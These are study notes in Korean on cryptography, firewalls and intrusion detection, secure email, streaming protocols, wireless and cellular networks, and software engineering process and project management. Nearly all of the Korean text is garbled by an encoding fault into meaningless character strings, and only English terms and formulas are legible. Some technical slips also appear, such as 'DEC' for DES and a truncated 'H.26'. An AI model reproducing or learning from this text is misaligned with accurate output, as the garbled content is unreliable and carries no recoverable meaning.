m : ํ๋ฌธ $K_A(m)$: ์ํธ๋ฌธ m = $K_B(K_A(m))$ : ๋ณตํธํ Symmetric key cryptography (๋์นญํค ์ํธํ)
์ํธํ, ๋ณตํธํ์ ๊ฐ์ ํค ์ฌ์ฉ ๋จ์ ์ํธํ ๋ฐฉ๋ฒ
substitution cipher : ๋ฌธ์๋ฅผ ๋ค๋ฅธ ๋ฌธ์๋ก ์นํ ์ข ๋ ์ ๊ตํ ๋ฐฉ๋ฒ
cyclic cipher : ๋ฌธ์๋ฅผ ๋ค๋ฅธ ๋ฌธ์๋ก ์นํํ๊ณ , ์์๋ฅผ ๋ฐ๊ฟ DES(Data Encryption Standard)
56bit symmetric key, input : 64bit ํ๋ฃจ์ ์ ์ฑ์์ง๋ ์๊ฐ์ ๋ซ๋ฆผ 3DES : 3๊ฐ์ ์๋ก ๋ค๋ฅธ ํค๋ก 3๋ฒ ์ํธํ AES(Advanced Encryption Standard)
128bit, 192bit, 256bit key input: 128bit AES๋ DEC๋ณด๋ค ๊ฒฌ๊ณ ํ๋ค Public Key Cryptography (๊ณต๊ฐํค)
๊ณต๊ฐํค: ์ํธํ, ๊ฐ์ธํค: ๋ณตํธํ ๋์นญํค๋ณด๋ค ๋๋ฆฌ๋ค HTTPS = ๊ณต๊ฐํค(ํค ๊ตํ) + ๋์นญํค (์ํธํ) RSA ์ํธํ ๋ฐฉ์ ํน์ง
$K_B^-(K_B^+(m)) = m$ ๊ณต๊ฐํค $K_B^+$๊ฐ ์ฃผ์ด์ก์ ๋ ๊ฐ์ธํค $K_B^-$๊ฐ ๊ณ์ฐ ๋ถ๊ฐ๋ฅ ํด์ผํ๋ค. $K_B^-(K_B^+(m)) = m = K_B^+(K_B^-(m))$ ๋ฐฉ๋ฒ
๋์งํธ ์๋ช
์๋ช
ํ ์ฌ๋์ ์ธ์ฆ ์ฉ๋ ๊ณต๊ฐํค ํ์ฉ ์ธ์ฆ์ ์ ์์๋ช
๋ง์ผ๋ก ์ก์ ์์ ์ ์ ํ์ธ ๋ถ๊ฐ๋ฅ ๋ด์ฉ: ์ ์์ ๋ณด, ๊ณต๊ฐํค, ์ ํจ๊ธฐ๊ด, ์ธ์ฆ๊ธฐ๊ด์ ๋ณด, ์ ์์๋ช
ํ์ค ๊ท๊ฒฉ : X.509 X.509 .der ํน์ .pem ํ์ฅ์ ํ์ผ ์ํธํต์ - ๋ฌด๊ฒฐ์ฑ ์ ์ ์๋ช
์ ๋ฌด๊ฒฐ์ฑ (A->B) m์ A๊ฐ ์ ์ผํ๊ฒ ์๋ช
์ ํด์ผํ๋ค. A๋ m`์ด ์๋ m์๋ง ์๋ช
์ ํด์ผํ๋ค. ํด์ ํจ์ ์๊ณ ๋ฆฌ์ฆ : MD5, SHA-1 ์ํธํต์ - Firewall ๋ชฉ์
์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ๋ฐฉ์ง (SYN flooding: ๊ฐ์ง TCP ์ฐ๊ฒฐ์ ์์ฑ) ๋ด๋ถ ๋ฐ์ดํฐ์ ๋ถ๋ฒ ์์ /์ ๊ทผ ๋ฐฉ์ง ๋ด๋ถ ๋คํธ์ํฌ์ ๋ํ ๊ถํ ์๋ ์ก์ธ์ค๋ง ํ์ฉ ํ๊ณ
IP spoofing: IP ์ฃผ์๋ฅผ ์์กฐํ์ฌ ๋ด๋ถ ๋คํธ์ํฌ์ ์ ๊ทผํ๋ ๊ณต๊ฒฉ Stateless packet filtering ํจํท ๋จ์๋ก ํจํท์ ํํฐ๋ง ํํฐ๋ง ํ๋ ๊ธฐ์ค : source IP, dest IP, TCP/UDP source, port ๋ฑ ACL(Access Control List) : ํ์ฉ/์ฐจ๋จ ๋ชฉ๋ก Stateful packet filtering TCP ์ฐ๊ฒฐ๋ง๋ค ํจํท ์ํ๋ฅผ ์ถ์ ACL์ check connection column์ด ์ถ์ ์ฌ๋ถ ๊ฒฐ์ Application gateway IP/TCP/UDP ํจํท์ data field๋ฅผ ํ์ธ Intrusion Detection System (IDS) (์นจ์
ํ์ง ์์คํ
) deep packet inspection : ํจํท์ ๋ด์ฉ์ ํ์ธ ํจํท ๊ฐ ์๊ด๊ด๊ณ ์กฐ์ฌ (port scanning, network mapping, Dos attack) multiple IDSs : ์ฌ๋ฌ IDS๋ฅผ ์ฌ์ฉํ์ฌ ํจํท์ ํ์ธ ์ํธํต์ - email ์์ (Alice๊ฐ Bob์๊ฒ ๋ฉ์ผ์ ๋ณด๋ธ๋ค) Confidentiality(๊ธฐ๋ฐ์ฑ) Alice ๋์นญํค K ์์ฑ K๋ก ๋ฉ์์ง ์ํธํ, K๋ก ๋ฉ์์ง ์ํธํ K๋ฅผ Bob์ ๊ณต๊ฐํค๋ก ์ํธํ ์ํธํ ๋ K์ ๋ฉ์์ง๋ฅผ ์ ๋ฌ Bob K๋ฅผ Bob์ ๊ฐ์ธํค๋ก ๋ณตํธํ K๋ก ๋ฉ์์ง ๋ณตํธํ Integrity (๋ฌด๊ฒฐ์ฑ), Authentication(์ธ์ฆ) Alice ๋ฉ์์ง Hash์ Alice์ ๊ฐ์ธํค๋ก ๋์งํธ ์๋ช
๋ฉ์์ง์ ๋์งํธ ์๋ช
์ ์ ๋ฌ Bob ๋ฉ์์ง hash๋ฅผ Alice์ ๊ณต๊ฐํค๋ก ๋ณตํธํ ๋์งํธ ์๋ช
๊ณผ ๋ฉ์์ง hash๊ฐ ์ผ์นํ๋์ง ํ์ธ PGP (Pretty Good Privacy) ๋ฉ์ผ์ ์ํธํํ๋ ์์คํ
AES256(๋์นญํค) ์ฌ์ฉ S/MIME (Secure/Multipurpose Internet Mail Extensions) ๋ฉ์ผ์ ์ํธํํ๋ ์์คํ
์ํธํ + ๋์งํธ ์๋ช
= Confidentiality + Integrity + Authentication Multimedia streaming RTSP (Real-Time Streaming Protocol) RTMP (Real-Time Messaging Protocol) HLS (HTTP Live Streaming) ๋น๋์ค/์ค๋์ค ์กฐ๊ฐ ํ์ผ HTTP ์ ์ก ์ธ์ฝ๋ฉ : H.26 ์กฐ๊ฐํ : 6์ด ์ ๋ HTTP : TCP ๋ฒํผ๋ง ๋๋ฌธ์ ์ค์๊ฐ ๋ชฉ์ ์๋ ๋ถ์ ํฉ MPEG-DASH (Dynamic Adaptive Streaming over HTTP) RTMP WebRTC Plug-in ์์ด ์น๋ธ๋ผ์ฐ์ ์์ ์์ฑ/์์/P2P ๊ณต์ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ์ค API P2P ์๋ ๋ฐฉ์ STUN, TURN, ICE์ ๊ฐ์ NAT Traversal ๊ธฐ์ ์ฌ์ฉ ์ ํธ ๋ฉ์์ง : Socket.io, ์น์์ผ, AJAX long polling STUN (Session Traversal Utilities for NAT) STUN ์๋ฒ์์ ๊ณต์ธ IP ์ฃผ์ ์ ๋ณด์ port๋ฒํธ ์ง์ ์๋ต TURN (Traversal Using Relays around NAT) ํผ์ด ๊ฐ์ ํธ๋ํฝ ๋ฆด๋ ์ด ์๋ฒ ํด๋ผ์ด์ธํธ๊ฐ ๋์ผํ ๋ก์ปฌ ๋คํธ์ํฌ์ ์์นํ์ง ์์ ๊ฒฝ์ฐ ์ฌ์ฉ ICE (Interactive Connectivity Establishment) ๋ธ๋ผ์ฐ์ ๊ฐ Peer๋ฅผ ํตํ ์ฐ๊ฒฐ์ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ๋ ์์ํฌ Wireless and Mobile Networks Elements of a wireless network base station : ์ ์ ๋คํธ์ํฌ์ ์ฐ๊ฒฐ relay: ๋ก์ปฌ์์ ์ ์ ๋คํธ์ํฌ์ ๋ฌด์ ํธ์คํธ ๊ฐ์ ํจํท ์ ์ก์ ๋ด๋น wireless link : ๋ชจ๋ฐ์ผ์ ๊ธฐ์ง๊ตญ์ ์ฐ๊ฒฐํ๋๋ฐ ์ฌ์ฉ infrastructure mode : ๊ธฐ์ง๊ตญ์ ํธ๋ํฐ์ ์ ์ ๋คํธ์ํฌ์ ์ฐ๊ฒฐ handoff : ๋ชจ๋ฐ์ผ์์ AP๋ฅผ ๋ฐ๊พธ๋ฉด์ ํต์ ad hoc mode : ๊ธฐ์ง๊ตญ ์์ด ๋ชจ๋ฐ์ผ ๊ฐ์ ํต์ ๋ฌด์ ํต์ ์ ํน์ง ์ ์ ๋๋น ์ฝํ ์ ํธ ๋ค๋ฅธ ๋ฌด์ ์ฅ์น์์ ๊ฐ์ญ ๋ค์ค ๊ฒฝ๋ก ์ ํ SNR(Signal to Noise Ratio) : ์ ํธ ๋ ์ก์๋น BER(Bit Error Rate) : ๋นํธ ์ค๋ฅ์จ Hidden terminal problem : A-B, B-C ๊ฐ๋ฅ A-C ๋ถ๊ฐ๋ฅ 802.11 LAN base station๊ณผ ๋ฌด์ host๊ฐ์ ํต์
Infrastructure ๋ชจ๋์ BSS(Basic Service Set)์ ํฌํจ๋๋ ๊ฒ
Wireless hosts AP (base station) ad hoc mode: hosts only CSMA : ์ ์ก ์ ์ถฉ๋ ๊ฒ์ฌ -> ์ถฉ๋ ๊ฐ์ง๊ฐ ๋ถ๊ฐ๋ฅ ๋ณด๋ด๋ ์ฌ๋ Sense channel์ด DIFS์ ๋ํด idleํ๋ฉด ํ๋ ์์ ์ ์ก Sense channel์ด busyํ๋ฉด random backoff ํ ack๊ฐ ์ค์ง ์์ผ๋ฉด backoff๋ฅผ ์ฆ๊ฐ, 2๋ฒ ๋ฐ๋ณต ๋ฐ๋ ์ฌ๋ ํ๋ ์์ ๋ฐ์ผ๋ฉด SIFS ํ ack ์ ์ก CA sender๊ฐ ์์ RTS(Request to Send) ํ๋ ์์ BS๋ก ์ ์ก (CSMA ์ฌ์ฉ) BS broadcasts CTS(Clear to Send) to sender (CTS๊ฐ ๋ชจ๋ ๋
ธ๋์๊ฒ ์ ๋ฌ) sender๊ฐ ๋ฐ์ดํฐ ํ๋ ์ ์ ์ก, ๋ค๋ฅธ station์ ์ ์ก ์ง์ฐ advanced capabilities Rate adaptation : SNR(์ ํธ๋ ์ก์๋น)์ BER(๋นํธ ์ค๋ฅ์จ)์ ์ธก์ ํ์ฌ ์ ์ก๋ฅ ์ ์กฐ์ CDMA (Code Division Multiple Access) unique code๊ฐ ๊ฐ ์ฌ์ฉ์์๊ฒ ๋ถ์ฌ encoding: ์๋ณธ ๋ฐ์ดํฐ X chipping ์์ (๋ด์ ์ฐ์ฐ) decodding : encoded ๋ฐ์ดํฐ X chipping ์์ (๋ด์ ์ฐ์ฐ) 4G/5G cellular networks ์ต๋ 100Mbps์ ์ ์ก ์๋ ๊ธฐ์ ํ์ค : 3GPP(3rd Generation Partnership Project) Base station(eNodeB) : wifi AP์ ์ ์ฌ HSS(Home Subscriber Server) : ์ฌ์ฉ์ ์ ๋ณด ์ ์ฅ MME(Mobility Management Entity) : ์ฌ์ฉ์ ์์น ์ถ์ S-GW(Serving Gateway) : ์ฌ์ฉ์ ๋ฐ์ดํฐ ์ ์ก P-GW(Packet Data Network Gateway) : ์ฌ์ฉ์ ๋ฐ์ดํฐ ์ ์ก GTP : GPRS Tunneling Protocol 5G 10๋ฐฐ ๋น ๋ฅธ ์๋, ์ง์ฐ ์๊ฐ 10๋ฐฐ ๊ฐ์, 100๋ฐฐ ๋ง์ ์ฅ์น ์ฐ๊ฒฐ (4G ๋๋น) 1์ฅ ์ํํธ์จ์ด ๊ณตํ ๊ฐ์ ์ํํธ์จ์ด์ ์ข
๋ฅ ์ฃผ๋ฌธํ, ํจํค์งํ, ์๋ฒ ๋๋ ์์คํ
์ค์๊ฐ ์ํํธ์จ์ด, ์๋ฃ์ฒ๋ฆฌ ์ํํธ์จ์ด ์ํํธ์จ์ด ๊ณตํ์ ์ ์ IEEE : ์ํํธ์จ์ด์ ๊ฐ๋ฐ, ์ด์ฉ, ์ ์ง๋ณด์ ๋ฐ ํ๊ธฐ์ ๋ํ ์ฒด๊ณ์ ์ธ ์ ๊ทผ W.Humphrey : ์ง ์ข์ ์ํํธ์จ์ด๋ฅผ ๊ฒฝ์ ์ ์ผ๋ก ์์ฐํ๊ธฐ ์ํ์ฌ ๊ณตํ, ๊ณผํ, ์ํ์ ์๋ฆฌ์ ์ํ์ฌ ์ํํธ์จ์ด๋ฅผ ๊ฐ๋ฐํด์ผํ๋ค ์ํํธ์จ์ด ํ์ง (ํจ-์ฉ-์ -์ -์ฌ-) ํจ์จ์ฑ(efficiency) ์ฌ์ฉ์ฉ์ด์ฑ(usability) ์ ๋ขฐ์ฑ(reliability) ์ ์ง๋ณด์์ฑ(maintainability) ์ฌ์ฌ์ฉ์ฑ(reusability) ์ํํธ์จ์ด ํ๋ก์ ํธ ์์
์๊ตฌ๋ถ์๊ณผ ๋ช
์ธํ ๋๋ฉ์ธ ๋ถ์, ๋ฌธ์ ์ ์, ์๊ตฌ ์ถ์ถ, ์๊ตฌ ๋ถ์, ์๊ตฌ ๋ช
์ธํ ์ค๊ณ : ๊ฐ์ฉํ ๊ธฐ์ ๋ก ์ด๋ป๊ฒ ๊ตฌํ๋์ด์ผํ๋์ง ๊ธฐ์ ์์คํ
์์ง๋์ด๋ง, ์ํํธ์จ์ด ์ํคํ
์ณ UI ์ค๊ณ, DB ์ค๊ณ ๋ชจ๋ธ๋ง : ๋๋ฉ์ธ์ด๋ ์ํํธ์จ์ด์ ํํ์ ๋ง๋ค์ด ๋๊ฐ๋ ๊ณผ์ ์ ์ค์ผ์ด์ค ๋ชจ๋ธ๋ง ์ ์ ๋ชจ๋ธ๋ง, ๋์ ๋ชจ๋ธ๋ง, ํ์ ๋ชจ๋ธ๋ง ํ๋ก๊ทธ๋๋ฐ ํ์ง๋ณด์ฆ ๋ฆฌ๋ทฐ, ์ธ์คํ์
, ํ
์คํธ ๋ฐฐํฌ ํ๋ก์ธ์ค ๊ด๋ฆฌ 2์ฅ ์ํํธ์จ์ด ํ๋ก์ธ์ค ํญํฌ์ ๋ชจ๋ธ (Waterfall Model) ๊ฐ ๋จ๊ณ๊ฐ ๋ค์ ์์ ์ ์ ๋๋์ผ ํจ -> ๋๋ฆผ ํ๋กํ ํ์
๊ณผ ์ฌ์ฌ์ฉ์ ๊ธฐํ๊ฐ ์ค์ด๋ฆ ํ๋กํ ํ์
๋ชจ๋ธ (Prototyping Model) ์ธ๊ฐ-๊ธฐ๊ณ ์ํธ์์ฉ ํ๋กํ ํ์
ํ๋กํ ํ์
์ ๋ง๋ ๋ค - ํ๋กํ ํ์
์ ํ๊ฐํ๋ค ์ ์ฆ์ ๋ชจ๋ธ (Incremental Model) ์ ์ฆ์ ๋ฐฉ๋ฒ: ๊ธฐ๋ฅ๋ณ๋ก ๋ฆด๋ฆฌ์ฆ ๋ฐ๋ณต์ ๋ฐฉ๋ฒ: ๋ฆด๋ฆฌ์ฆ ํ ๋๋ง๋ค ๊ธฐ๋ฅ์ ์์ฑ๋๋ฅผ ๋์ธ๋ค ๊ธฐ๋ฅ์ด ๋ถ์กฑํ๋๋ผ๋ ๋นจ๋ฆฌ ๋ฆด๋ฆฌ์ฆ ๊ฐ๋ฅ ๋์ ํ ๋ชจ๋ธ (Spiral Model) ์งํ ๋จ๊ณ ๊ณํ ์๋ฆฝ ์ํ ๋ถ์ ๊ฐ๋ฐ ํ๊ฐ ๋ฐ๋ณต์ ์ธ ๊ฐ๋ฐ ๋ฐ ํ
์คํธ -> ๊ฐ์ธ์ฑ ํฅ์ ๊ด๋ฆฌ, ์ํ ๋ถ์์ด ์ค์ ์งํ์ ๋ชจ๋ธ (Evolutionary Model) ์ด๊ธฐ์ ์๊ตฌ์ฌํญ์ ํ์
ํ๊ธฐ ํ๋ค๊ณ ๊ตฌํ์ด ์ด๋ ค์ด ๊ฒฝ์ฐ, ์๊ตฌ์ฌํญ ๋ถ์์ ํ ๋ฒ์ด์ ๋ฐ๋ณต UP (Unified Process) ๋์
๋จ๊ณ : ํ๋ก์ ํธ์ ๋ฒ์๋ฅผ ์ค์ , ๋ชฉํ๋ฅผ ๋ช
ํํ ์ ๋ จ ๋จ๊ณ : ์๊ตฌ๋ฅผ ์ฐพ์๋ด์ด ์ค๊ณ๋ฅผ ์์ฑ ๊ตฌ์ถ ๋จ๊ณ : ์ ์กฐ ๋จ๊ณ, ์๊ตฌ์ ํ
์คํธ ๋ง๋ฌด๋ฆฌ ์ ํ ๋จ๊ณ : ๋ฆด๋ฆฌ์ฆ ์ ์์ผ ํ๋ก์ธ์ค (Agile Process) ํน์ง ์งง์ ๋ฆด๋ฆฌ์ฆ์ ๋ฐ๋ณต ์ ์ฆ์ ์ค๊ณ ์ฌ์ฉ์ ์ฐธ์ฌ ๋ฌธ์ ์ต์ํ ๋น๊ณต์์ ์ปค๋ฎค๋์ผ์ด์
์๊ตฌ์ ํ๊ฒฝ์ ๋ณํ๋ฅผ ๊ฐ์ ์ต์คํธ๋ฆผ ํ๋ก๊ทธ๋๋ฐ (eXtreme Pragramming) ์ ์์ผ ๋ฐฉ๋ฒ๋ก ์ค ํ๋ Planning : ์๊ตฌ์ฌํญ์ ์์ ์์๋ก ๋ถํ Analysis Design Execution : Coding, Testing Wrapping : small release, process improvement Closure : launch ์คํฌ๋ผ (Scrum) ์กฐ์ง์ ์ผ๋ก ์ ์์ผ ๋ฐฉ๋ฒ๋ก ์ ์ ์ฉ
๊ตฌ์ฑ ์์
๋ฐฑ๋ก๊ทธ (Backlog) : ํ ์ผ ๋ชฉ๋ก ์คํ๋ฆฐํธ (Sprint) : Iteration์ ์๋ฏธ, 1~4์ฃผ์ ๊ธฐ๊ฐ ์คํฌ๋ผ ํ์ : ๋งค์ผ 15๋ถ๊ฐ ์ง๋ ํ์ธ ํ์ ๋ฆฌ๋ทฐ : ์คํ๋ฆฐํธ ์ข
๋ฃ ํ ๊ตฌํ๋ ์ฐ์ถ๋ฌผ์ ๋ฆฌ๋ทฐ ์คํ๋ฆฐํธ ํ๊ณ : ๋ฐฉ๋ฒ๋ก ์์ฒด์ ๋ํ ๋ฆฌ๋ทฐ ์ํ ํ๋ก์ธ์ค ๋ชจ๋ธ ์ ์ ์ผ๋ฐ์ ์ธ ๊ตฌ์ถ : ํญํฌ์ ๋ชจ๋ธ ๋๊ท๋ชจ ์ฌ๊ตฌ์ถ : ์ ์ฆ์ ๋ชจ๋ธ, ๋์ ํ ๋ชจ๋ธ ์๋ฒ ๋๋ ์์คํ
: ์ ์ฆ์ ๋ชจ๋ธ ํ๋ก์ ํธ ํ๋น์ฑ ๊ฒํ : ํ๋กํ ํ์
๋ชจ๋ธ, ๋์ ํ ๋ชจ๋ธ ์ฐ๊ตฌํ ๊ฐ๋ฐ : ํ๋กํ ํ์
๋ชจ๋ธ, ๋์ ํ ๋ชจ๋ธ ์๊ท๋ชจ : ์ ์์ผ ํ๋ก์ธ์ค ํ๋ก์ธ์ค ํ๋ Software speicification
Feasibility study(ํ๋น์ฑ ์กฐ์ฌ) Requirements elicitation and analysis(์๊ตฌ์ฌํญ ๋์ถ ๋ฐ ๋ถ์) Requirements specification(์๊ตฌ์ฌํญ ๋ช
์ธ) Requirements validation(์๊ตฌ์ฌํญ ๊ฒ์ฆ) Software deisgn and implementation
Architectureal design Interface design Component design Data structure design Algorithm design Software validation
Vertification and validation (V&V) : ์์คํ
์ด ์๊ตฌ์ฌํญ์ ์ถฉ์กฑํ๋ค๋ ๊ฒ์ ๋ณด์ฌ์ฃผ๊ธฐ ์ํ ํ๋ Component or unit testing System testing Acceptance testing Software evolution
๋ณํํ๋ ๋น์ฆ๋์ค ํ๊ฒฝ์ ๋ฐ๋ผ ์๊ตฌ์ฌํญ์ด ๋ณํํจ์ ๋ฐ๋ผ ์ํํธ์จ์ด ์งํํ๊ณ ๋ณํํด์ผ ํ๋ค 3์ฅ ํ๋ก์ ํธ ๊ด๋ฆฌ ํ๋ก์ ํธ ๊ด๋ฆฌ ํ๋ ์ ์์ ์์ฑ ํ๋ก์ ํธ ๊ณํ ๋ฐ ์ค์ผ์ค๋ง ํ๋ก์ ํธ ๋น์ฉ ๊ณํ ํ๋ก์ ํธ ๋ชจ๋ํฐ๋ง ๋ฐ ๊ฒํ ์ธ๋ ฅ ์ ๋ฐ ๋ฐ ํ๊ฐ ๋ณด๊ณ ์ ์์ฑ ๋ฐ ํ๋ ์ ํ
์ด์
ํ๋ก์ ํธ ๊ฐ๋ฐ ๋
ธ๋ ฅ ์ถ์ ํ๋ก์ ํธ ์์ ๋ฌธ์ ์ ๋ณต์ก๋, ์์คํ
์ ํฌ๊ธฐ, ์์คํ
์ ๋ขฐ๋ ์์ ์์ ์ธ์ ์์, H/W ์์, S/W ์์ ์์ฐ์ฑ ์์ ๊ฐ๋ฐ์ ๋ฅ๋ ฅ, ๊ฐ๋ฐ ๋ฐฉ๋ฒ๋ก ๊ธฐ๋ฅ ์ ์ ๋ชจ๋ธ (UFP: Unadjusted Function Point) ์ฐ์ 5๊ฐ์ง ์ํํธ์จ์ด ๊ตฌ์ฑ ์์๋ณ ๊ธฐ๋ฅ ์ ์ ๊ฐ์ค์น ๋ถ์ฌ ์ธ๋ถ ์
๋ ฅ, ์ธ๋ถ ์ถ๋ ฅ, ์ธ๋ถ ์ง์ ๋ด๋ถ ๋
ผ๋ฆฌ ํ์ผ, ์ธ๋ถ ์ธํฐํ์ด์ค ํ์ผ ๊ธฐ๋ฅ ์ ์ ๋ชจ๋ธ (VAF: Value Adjustment Factor) ์ฐ์ 14๊ฐ์ง ๊ธฐ์ ์ ๋ถ์ผ์ ๋ํ ๋ณต์ก๋๋ฅผ ๊ณ ๋ คํ์ฌ 0~5 ์ ์ ๋ถ์ฌ ๊ธฐ๋ฅ ์ ์ ๋ชจ๋ธ (AFP: Adjusted Function Point) ์ฐ์ AFP = UFP * VAF ๊ฐ์ฒด ์ ์ ๋ชจ๋ธ Cc(Class Complexity): ํด๋์ค์ ๊ฐ์ ์ถ์ Wi: ์ฌ์ฉ์ ์
๋ ฅ์ ์ข
๋ฅ ๋ถ๋ฅ, ๊ฐ์ค์น ๋ถ์ฌ ์ต์ข
ํด๋์ค ๊ฐ์(TCc) = Cc(Wi+1) Effort = TCc X MD(ํด๋์ค 1๊ฐ ๊ฐ๋ฐํ๋๋ฐ ์์๋๋ ์์ฐ์ฑ ์ถ์ ๊ฐ) ํ๋ก์ ํธ ์ผ์ ๊ด๋ฆฌ Action: ํ๋ก์ ํธ์์์ ํ๋ Milestones(์ด์ ํ): ํ๋ก์ ํธ์์์ ์ค์ํ ์์ Deliverables(๋ฉํ๋ฌผ) PERT/CPM ์ฐจํธ ์๊ณ ๊ฒฝ๋ก Pert Chart์์ ์์ ๊ธฐ๊ฐ์ด ๊ฐ์ฅ ๊ธด ๊ฒฝ๋ก
-> ํ๋ก์ ํธ ์๋ฃ๊น์ง ํ์ํ ์ต์ ์๊ฐ
๊ฐํธ(Gantt) ์ฐจํธ ๊ฐ๋ก์ถ: ์๊ฐ ์ธ๋ก์ถ: ์์
๋ง์ผ์คํค: ๋ง๋ฆ๋ชจ ํ์ ํ๋์ ๋ง๋: ์ฌ์ ์๊ฐ ์ ์์ผ ์ผ์ ๊ณํ ์คํ ๋ฆฌ์นด๋ ๋จ์์ ์ผ์ ๊ณํ ํ๋ก์ ํธ ์ธ์ ์์ ๊ด๋ฆฌ ๊ณ์ธตํ ํ ์ด๋ณด์์ ๊ฒฝํ์๋ฅผ ๋ถ๋ฆฌ ์ฅ์ : ์ํํธ์จ์ด๊ฐ ํฌ๊ณ ๊ตฌ์กฐ๊ฐ ๊ณ์ธต์ ์ผ๋ก ์ ๋๋์ด์ง ๊ฒฝ์ฐ์ ์ ํฉ ๋จ์ : ๊ธฐ์ ์ธ๋ ฅ์ด ๊ด๋ฆฌ, ์์ฌ ์ ๋ฌ ๊ฒฝ๋ก๊ฐ ๊น Egoless ํ ๋ฏผ์ฃผ์ฃผ์ ๋ฐฉ์, ๊ตฌ์ฑ์์ด ๋๋ฑํ ์ฑ
์๊ณผ ๊ถํ ์ฅ์ : ์์ฌ ๊ต๋ฅ ํ๋ฐ, ๋ณต์กํ ์ฅ๊ธฐ ํ๋ก์ ํธ์ ์ ํฉ ๋จ์ : ์ฑ
์์ด ๋ถ๋ช
ํ, ๋๋ฆฐ ์์ฌ๊ฒฐ์ , ๋๊ท๋ชจ ํ๋ก์ ํธ์ ๋ถ์ ํฉ ์ฑ
์ ํ๋ก๊ทธ๋๋จธ ํ์ ๊ตฌ์ฑ ์์ ํ์ผ๋ก ๊ตฌ์ฑ, ์ฑ
์ ํ๋ก๊ทธ๋๋จธ๊ฐ ํต์ ์ฑ
์ ํ๋ก๊ทธ๋๋จธ, ํ๋ก๊ทธ๋จ ์ฌ์, ๋ณด์กฐ ํ๋ก๊ทธ๋๋จธ, ํ๋ก๊ทธ๋๋จธ๋ก ๊ตฌ์ฑ ์ฅ์ : ์์ฌ ๊ฒฐ์ ์ด ๋น ๋ฆ, ์๊ท๋ชจ ํ๋ก์ ํธ์ ์ ํฉ ๋จ์ : ํ ์ฌ๋์ ๋ฅ๋ ฅ๊ณผ ๊ฒฝํ์ด ํ๋ก์ ํธ์ ์ฑํจ ์ข์ฐ ํ๋ก์ ํธ ์ํ ๊ด๋ฆฌ ์ํ ์ข
๋ฅ ํ๋ก์ ํธ ์ํ, ์ ํ ์ํ, ๋น์ฆ๋์ค ์ํ ์ํ ๊ด๋ฆฌ ํ๋ก์ ํธ ์ํ ์๋ณ ์ํ ๋ถ์ ์ํ ๋์ฒ ๊ณํ ์๋ฆฝ ์ํ ๋ชจ๋ํฐ๋ง ์ํ ๋์ฒ ๊ณํ ์๋ฆฝ ํํผ ์ ๋ต: ์ํ์ด ๋ฐ์ํ ํ๋ฅ ์ ์ค์ ์ต์ํ ์ ๋ต: ์ํ์ ์ํฅ์ ์ค์ ๋น์ ๊ณํ: ์ํ์ด ๋ฐ์ํ ๊ฒฝ์ฐ ๋์ฒ ๋ฐฉ๋ฒ 4์ฅ ์๊ตฌ์ฌํญ ๊ฐ๋ฐ ๋ฐ ์ ์ ์๊ตฌ์ฌํญ ๋ถ์๊ณผ์ ๋๋ฉ์ธ ๋ถ์ -> ์๊ตฌ์ฌํญ ์ถ์ถ -> ๋ถ์ ๋ฐ ๋ช
์ธํ -> ๊ฒํ ๋๋ฉ์ธ ๋ถ์ ์ํํธ์จ์ด ์์ง๋์ด๊ฐ ๋ฌธ์ ๋ฅผ ๋ ์ ์ดํดํ๊ธฐ ์ํ์ฌ ๋๋ฉ์ธ์ ๋ํ์ฌ ์์๊ฐ๋ ๊ณผ์
๋๋ฉ์ธ: ์ํํธ์จ์ด๋ฅผ ์ฌ์ฉํ ๊ฒ์ผ๋ก ์์๋๋ ๊ณ ๊ฐ์ด ์ผํ๋ ๋ถ์ผ์ ๋น์ฆ๋์ค๋ ๊ธฐ์ ๋๋งค์ธ ๋ถ์์ ์ด์ ๋น ๋ฅธ ๊ฐ๋ฐ, ๋ ์ข์ ์์คํ
๊ตฌ์ถ ๊ฐ๋ฅ, ํ์ฅ ์๊ฒฌ ๋ฌธ์ ์ ์์ ๋ฒ์ ์ค์ ๋ฌธ์ ์ ์์ ๋ฌธ์ ์ ์ ๋ฒ์ ์์คํ
์ ํฌํจ๋์ด์ผ ํ ๊ธฐ๋ฅ ๊ฒฐ์ ์๊ตฌ์ฌํญ ์ถ์ถ ์๊ตฌ์ฌํญ ์ถ์ถ ๋ฐฉ๋ฒ ๊ด์ฐฐ, ์ธํฐ๋ทฐ, ๋ธ๋ ์ธ์คํ ๋ฐ, ํ๋กํ ํ์ดํ, ์ ์ค์ผ์ด์ค ๋ถ์ ๊ด์ฐฐ ์ฌ์ฉ์๋ฅผ ๊ด์ฐฐ, ์๊ฐ์ด ๋ง์ด ์์๋๋ค ์ธํฐ๋ทฐ ๋ฌธ์ ์ ๋ํด ์ต์ํ์ ํ์ฉ ๊ฐ๋ฅํ ์๋ฃจ์
์ด ๋ฌด์์ธ์ง ์ง๋ฌธ ๋ค์ด์ด๊ทธ๋จ ์์ฑ์ ์๊ตฌ ๋ธ๋ ์ธ์คํ ๋ฐ ๊ด๋ จ์ ๋ชจ๋๊ฐ ์ฐธ์ฌ JAD(Joint Application Development) ์ต์ข
์ฌ์ฉ์์ ๊ฐ๋ฐ์๊ฐ ์์คํ
๊ฐ๋ฐ ๋
ผ์ ํ๋กํ ํ์ดํ paper prototype: ๊ฐ์ฅ ๋จ์ํ ํํ mock-up of the UI : ๊ฐ์ฅ ํํ ํํ ์๊ตฌ์ฌํญ ๋ฌธ์ ๊ตฌ์ฑ ํ๊ฒฝ ๋ฐ ์์คํ
๋ชจ๋ธ ๊ธฐ๋ฅ์ ์๊ตฌ์ฌํญ ๋น๊ธฐ๋ฅ์ ์๊ตฌ์ฌํญ : ์ฑ๋ฅ, ํจ์จ ๋ฑ 5์ฅ ์ ์ค์ผ์ด์ค ๋ชจ๋ธ๋ง ์ ์ค์ผ์ด์ค ์์คํ
์ด actor์๊ฒ ๊ด์ฐฐ ๊ฐ๋ฅํ ๊ฐ์น์ ๊ฒฐ๊ณผ๋ฅผ ์์ฐํ๊ธฐ ์ํด ์ํํ๋ ์ผ๋ จ์ ํ๋ ๋ฐ ๊ทธ ๋ณํ๋ค์ ์งํฉ
์ ์ค์ผ์ด์ค๋ ์์ ํ ๊ธฐ๋ฅ์ ๋ช
์ธํ๋ค ์๋๋ฆฌ์ค : ํน์ ํ ๋ชฉํ๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํด ์ํ๋๋ ์ผ๋ จ์ ํ๋์ด๋ ์งํฉ ์ ์ค์ผ์ด์ค ๋ค์ด์ด๊ทธ๋จ ์์คํ
, ์กํฐ, ์ ์ค์ผ์ด์ค๋ฅผ ํฌํจ ์์คํ
